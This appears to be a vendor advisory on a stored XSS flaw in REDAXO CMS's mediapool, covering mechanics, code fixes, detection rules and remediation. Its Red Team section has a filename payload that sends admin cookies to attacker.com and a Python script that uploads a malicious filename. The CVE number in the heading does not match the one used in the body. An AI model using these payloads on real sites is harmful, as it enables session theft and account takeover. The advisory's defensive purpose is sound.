CVE-2024-50803

Executive Summary

CVE-2024-50804 identifies a stored Cross-Site Scripting (XSS) vulnerability in the mediapool feature of REDAXO Core CMS version 5.17.1. An authenticated attacker with media upload privileges can inject arbitrary JavaScript into file metadata (e.g., filename or description). When an administrator or other user views the mediapool, the injected script executes in their browser context, leading to privilege escalation, session hijacking, or data exfiltration. No official patch has been released as of this report.

Supply Chain & Package Security

REDAXO is a PHP-based CMS distributed via its official website and GitHub. The vulnerability resides in the core application, not in a third-party package. However, administrators should verify the integrity of their REDAXO installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – the attack is performed over HTTP.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs media upload privileges.
• User Interaction (UI): Required (R) – victim must view the mediapool.
• Scope (S): Changed (C) – the vulnerable component impacts the browser security context.
• Confidentiality (C): High (H) – potential for session token theft.
• Integrity (I): High (H) – attacker can perform actions as the victim.
• Availability (A): Low (L) – limited impact on availability.

Estimated CVSS Score: 8.0 (High)

Deep Dive & Mechanics

The mediapool feature in REDAXO allows users to upload files and edit associated metadata such as the filename, title, and description. The vulnerability arises because user-supplied input in these fields is not properly sanitized or encoded before being rendered in the HTML page.

When a user views the mediapool, the application retrieves the metadata from the database and outputs it directly into the page without escaping HTML entities. An attacker can upload a file with a filename containing a malicious payload, such as:

<img src=x onerror=alert('XSS')>.jpg

When an administrator browses the mediapool, the browser interprets the <img> tag and executes the onerror event, triggering the JavaScript. This allows the attacker to perform actions in the context of the administrator's session, including creating new admin accounts, modifying site content, or exfiltrating sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (REDAXO 5.17.1):

In the file redaxo/src/addons/mediapool/pages/index.php, the filename is output directly without escaping:

<?php
// Vulnerable: direct output without escaping
echo '<td>' . $media['filename'] . '</td>';
?>

Patched Code (Hypothetical):

The patched version would use htmlspecialchars() to escape the output:

<?php
// Patched: escape output
echo '<td>' . htmlspecialchars($media['filename'], ENT_QUOTES, 'UTF-8') . '</td>';
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a REDAXO instance with media upload privileges.
• A web browser with developer tools.

Steps:

1. Log in to the REDAXO backend.
2. Navigate to the mediapool.
3. Upload a file with a malicious filename, e.g.:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>.jpg
   

4. Alternatively, edit an existing file's metadata (title/description) with the payload.
5. Wait for an administrator to view the mediapool.
6. The payload executes, sending the admin's session cookie to the attacker's server.

Automated Exploit (Python):

import requests

target = "http://target.com/redaxo/"
session = requests.Session()

# Login
login_data = {"username": "attacker", "password": "password123"}
session.post(target + "redaxo/index.php?page=login", data=login_data)

# Upload malicious file
files = {"file": ("<img src=x onerror=alert(1)>.jpg", "fake content", "image/jpeg")}
session.post(target + "redaxo/index.php?page=mediapool&subpage=upload", files=files)

Blue Team

Detection:

• Monitor for unusual filenames containing HTML tags or JavaScript event handlers.
• Review mediapool access logs for suspicious uploads.
• Use WAF rules to block filenames with <script> or onerror patterns.

Hunting:

• Query database for media entries with filenames containing < or > characters.
• Check web server logs for requests to /redaxo/index.php?page=mediapool with unusual parameters.

Indicators of Compromise (IOCs)

• File-based:

  • Filenames containing <, >, onerror, onload, javascript:.
  • Media entries with HTML tags in title or description fields.

• Network-based:

  • Outbound HTTP requests to attacker-controlled domains from the REDAXO server.
  • Suspicious Referer headers pointing to mediapool pages.

• Log-based:

  • Web server logs showing GET /redaxo/index.php?page=mediapool with unusual query strings.
  • Application logs indicating failed CSRF token validation (if attacker attempts admin actions).

Detection Engineering

YARA Rule

rule CVE_2024_50804_XSS_Mediapool {
    meta:
        description = "Detects XSS payloads in REDAXO mediapool filenames"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50804"
    strings:
        $xss1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss2 = /<[^>]*onload\s*=[^>]*>/i
        $xss3 = /<script[^>]*>/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: REDAXO Mediapool XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-50804 via malicious filenames
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'redaxo/index.php?page=mediapool'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50804 REDAXO Mediapool XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"redaxo/index.php?page=mediapool"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable media uploads for non-admin users until a patch is applied.
2. Implement a WAF rule to block filenames containing HTML/JavaScript.
3. Audit existing media entries for malicious filenames and remove them.

Long-term Fix:

• Apply input validation and output encoding to all user-supplied data in the mediapool.
• Use htmlspecialchars() with ENT_QUOTES and UTF-8 encoding when rendering filenames.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Patch Status:

• No official patch available. Monitor the REDAXO GitHub repository for updates.
• Consider applying a manual patch by modifying the vulnerable code as shown in the "Vulnerable vs. Patched Code" section.

Valters IT
Securing Digital Frontiers